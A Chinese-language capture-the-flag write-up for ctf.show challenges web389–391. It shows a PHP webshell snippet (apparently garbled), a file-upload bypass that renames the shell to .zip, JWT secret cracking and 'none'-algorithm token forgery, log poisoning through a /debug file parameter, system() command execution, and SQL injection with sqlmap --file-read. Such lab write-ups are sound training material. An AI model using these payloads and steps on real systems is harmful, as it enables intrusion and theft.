web389


目录扫描


https://867365dc-374b-4b2d-9ebb-2970ca178d02.challenge.ctf.show/alsckdfy/editor/
访问这个路径
/alsckdfy/editor
是一个文本编辑器,能够上传文件

对上传文件格式有要求
要求只能上传以下文件格式,不过这个 zip 格式的可以利用
他这里只做了前端校验,没有做后端校验,直接将 php 格式修改成 zip 格式就行了
木马内容:
<?php
a = '\_PO'.'ST[1]);?>';
file_put_contents('/var/www/html/1.php',$a);
?>

将 php 文件修改成 zip 后缀进行上传

上传成功之后返回一个文件路径
/alsckdfy/attached/file/20260519/20260519063705_40364.zip

然后访问/debug,返回权限不足
抓这个页面的包,发现 cookie 有验证,是 JWT

Cookie: auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc3OTEwNTE5NywiZXhwIjoxNzc5MTEyMzk3LCJuYmYiOjE3NzkxMDUxOTcsInN1YiI6InVzZXIiLCJqdGkiOiJmM2E5NmJhOWVmYTlkNWI2NjRlMTIyNTE1M2QyYmExYyJ9.OWRz0lSCEImyWNCjcBELc0vETwVyW2TZX36Pev3zqUY
到在线 JWT 平台中解码

这里使用 jwt_tool 对 jwt 密钥进行爆破
密钥是 123456

将 payload 部分中的 sub 修改成 admin
在将对称密钥部分添加为 123456
然后重新编码
得到新的 jwt
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc3OTEwNzg4MCwiZXhwIjoxNzc5MTE1MDgwLCJuYmYiOjE3NzkxMDc4ODAsInN1YiI6ImFkbWluIiwianRpIjoiZDBhNzVkNWFmZGVmNzJiZmZmMmVkZDRlYzc1N2M2MDAifQ.grXHz42iWCBlTeCcP_ioaXbklEGlVeRViw1hRQ8afAM

抓取 /debug 页面的包,然后将新编码得到的 jwt 替换到 cookie 的位置,然后放包

现在返回文件不存在,说明有权限了

将返回的文件路径拼接到/var/www/html 后面,这样写入日志中
/debug/?file=/var/www/html/alsckdfy/attached/file/20260519/20260519063015_89838.zip

访问 1.php
返回这个页面就代表这木马写入成功了

命令执行,查看alsckdfy/check.php 中的 flag
1=system("cat alsckdfy/check.php");

$flag='ctfshow{d1b4daed-0aae-4ec5-a9f8-5ffa996981d2}';

整体思路:
上传木马,拿到木马路径
-> JWT 提权
->进入到/debug
->利用/debug 的 file 参数将木马路径写入,注入到日志中
->访问上传木马文件,命令执行,拿 flag
web390


进行目录扫描,依次访问

/page.php 这个路径和上一题的不一样了,返回内容变了,变成了文章不存在
https://a0342c3d-b9a2-46fe-8083-6360d88f6bb1.challenge.ctf.show/page.php

查看页面源代码
发现是通过 id 进行传值的

还能够使用 arjun 这个参数爆破的工具去爆破
对这个目录参数进行爆破
爆破出来了个 id 参数
arjun.cmd -u https://a0342c3d-b9a2-46fe-8083-6360d88f6bb1.challenge.ctf.show/page.php

测试 sql 注入
确定是存在数字型 sql 漏洞
前者页面正常显示
page.php?id=1 and 1=1

后者页面内容不同
page.php?id=1 and 1=2


因为这个黑盒测试的题目,他的 flag 都存放到 /var/www/html/alsckdfy/check.php
可以通过 sqlmap 直接跑出 flag
sqlmap -u "https://247b4fd0-50b9-4a32-a902-f43b1510d991.challenge.ctf.show/page.php?id=2" --file-read="/var/www/html/alsckdfy/check.php" --batch

将存放 flag 的文件跑了下来,存放到了本地中
$flag='ctfshow{7f6391bf-9b93-44de-96d1-31d5c67178ea}';

第二种方法
访问/debug 返回权限不足
抓包
cookie 中的验证方式是 jwt 验证
这里的 jwt 验证能够通过 none 的方式绕过验证
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc3OTI2NDQxMywiZXhwIjoxNzc5MjcxNjEzLCJuYmYiOjE3NzkyNjQ0MTMsInN1YiI6InVzZXIiLCJqdGkiOiI0ODE2NDQyN2ZlODdiMDY5ZWQ3MDhlMWNlZWVhZjBhNiJ9.9R2iixM8chUim4RFpntyU2j_xEyCaZ-Ft4EnC0lYdbs

去解码

{
"alg": "HS256",
"typ": "JWT"
}
{
"iss": "admin",
"iat": 1779264413,
"exp": 1779271613,
"nbf": 1779264413,
"sub": "user",
"jti": "48164427fe87b069ed708e1ceeeaf0a6"
}
使用脚本伪造
使用 none 的方式绕过 JWT 验证
伪造前
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc3OTI2NjAzNiwiZXhwIjoxNzc5MjczMjM2LCJuYmYiOjE3NzkyNjYwMzYsInN1YiI6InVzZXIiLCJqdGkiOiJkMmM5NmIxNGIyOTA1ZGE1NjVmN2Q1MTgzNjkzYmExYiJ9.0rWYc5TGyE64wxpXs6N0LXauYNAdoEg42CjOzUmCGK8
伪造后
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc3OTI2NTcxNSwiZXhwIjoxNzc5MjcyOTE1LCJuYmYiOjE3NzkyNjU3MTUsInN1YiI6ImFkbWluIiwianRpIjoiZWEzODdlYzhmMjM4ZTUzMzJmOWFmM2U0MDVmMTgyYTYifQ.

将伪造好的 jwt 替换掉原本的 jwt,然后放包

返回文件不存在,这说明校验通过,成功绕过了

后续部分和上一题就是一样的了
来到/alsckdfy/editor 中
从这里上传一个免杀的木马
木马后缀修改成 zip
这里只在前端进行校验,后端不进行校验,

/alsckdfy/attached/file/20260520/20260520084111_97269.zip
上传成功,将得到的路径复制下来

{
"iss": "admin",
"iat": 1779266428,
"exp": 1779273628,
"nbf": 1779266428,
"sub": "user",
"jti": "d26d04ce6e1c61623cce5dc68ee2537a"
}
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc3OTI2NjQyOCwiZXhwIjoxNzc5MjczNjI4LCJuYmYiOjE3NzkyNjY0MjgsInN1YiI6ImFkbWluIiwianRpIjoiZDI2ZDA0Y2U2ZTFjNjE2MjNjY2U1ZGM2OGVlMjUzN2EifQ.
通过日志投毒的方式,将 php 木马写入到日志中
/debug/?file=/var/www/html/alsckdfy/attached/file/20260520/20260520084111_97269.zip

放包,返回已写入日志

访问 php 木马的文件名
返回这个页面就说明日志投毒成功了

查看 flag 内容
1=system("cat alsckdfy/check.php");

查看源代码,得到 flag
$flag='ctfshow{7f6391bf-9b93-44de-96d1-31d5c67178ea}';

web391

这一题使用上一题的解题方法就能够解出来
不同之处是多了一个搜索框,这里是 sql 注入点

抓取/debug 的包

进行伪造 JWT
使用 none 空加密算法方式伪造绕过校验
这个 none 漏洞的本质是服务器错误地信任了客户端指定的签名算法
这就导致了攻击者可以不需要签名直接伪造 JWT
实施方式是将 header 处的 alg 加密算法修改成 none
再修改 payload 中 user 为 admin
然后删除 signature
最终只剩下 header.payload.
{
"alg": "HS256",
"typ": "JWT"
}
{
"iss": "admin",
"iat": 1779269340,
"exp": 1779276540,
"nbf": 1779269340,
"sub": "user",
"jti": "8dc334ee620632a515ebffe058591daf"
}

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc3OTI2OTM0MCwiZXhwIjoxNzc5Mjc2NTQwLCJuYmYiOjE3NzkyNjkzNDAsInN1YiI6ImFkbWluIiwianRpIjoiOGRjMzM0ZWU2MjA2MzJhNTE1ZWJmZmUwNTg1OTFkYWYifQ.

抓取/debug 的包
将生成好的 jwt 替换到 cookie 处

放行,返回文件不存在说明成功绕过

来到这个路径
/alsckdfy/editor
上传免杀木马
直接将木马后缀修改成 zip
这里只对前端进行了校验,后端没有校验

复制返回路径
/alsckdfy/attached/file/20260520/20260520093251_33584.zip

使用日志投毒的方式将木马写入到日志中
/debug/?file=/var/www/html/alsckdfy/attached/file/20260520/20260520093251_33584.zip


这里访问 1.php,返回这个页面说明日志投毒成功了

查看 flag 的位置
1=system("cat alsckdfy/check.php");

查看源码,找到 flag
$flag='ctfshow{72ea011b-d81b-4443-bd73-015e53631ca8}';

第二种方法
这个搜索框处存在 sql 注入漏洞
https://9d856f59-fed2-4960-8497-c8a560713ee7.challenge.ctf.show/search.php?title=1

通过注入
titile=1'
返回空白能够判断处,这里存在字符型 sql 注入

titile=1'-- -
这里页面恢复正常,-- -注释掉了后面的 sql
这就能够确定确实是字符型 sql 注入

使用 sqlmap 将 flag 跑出来
sqlmap -u "https://9d856f59-fed2-4960-8497-c8a560713ee7.challenge.ctf.show/search.php?title=1" --file-read="/var/www/html/alsckdfy/check.php" --batch

$flag='ctfshow{72ea011b-d81b-4443-bd73-015e53631ca8}';
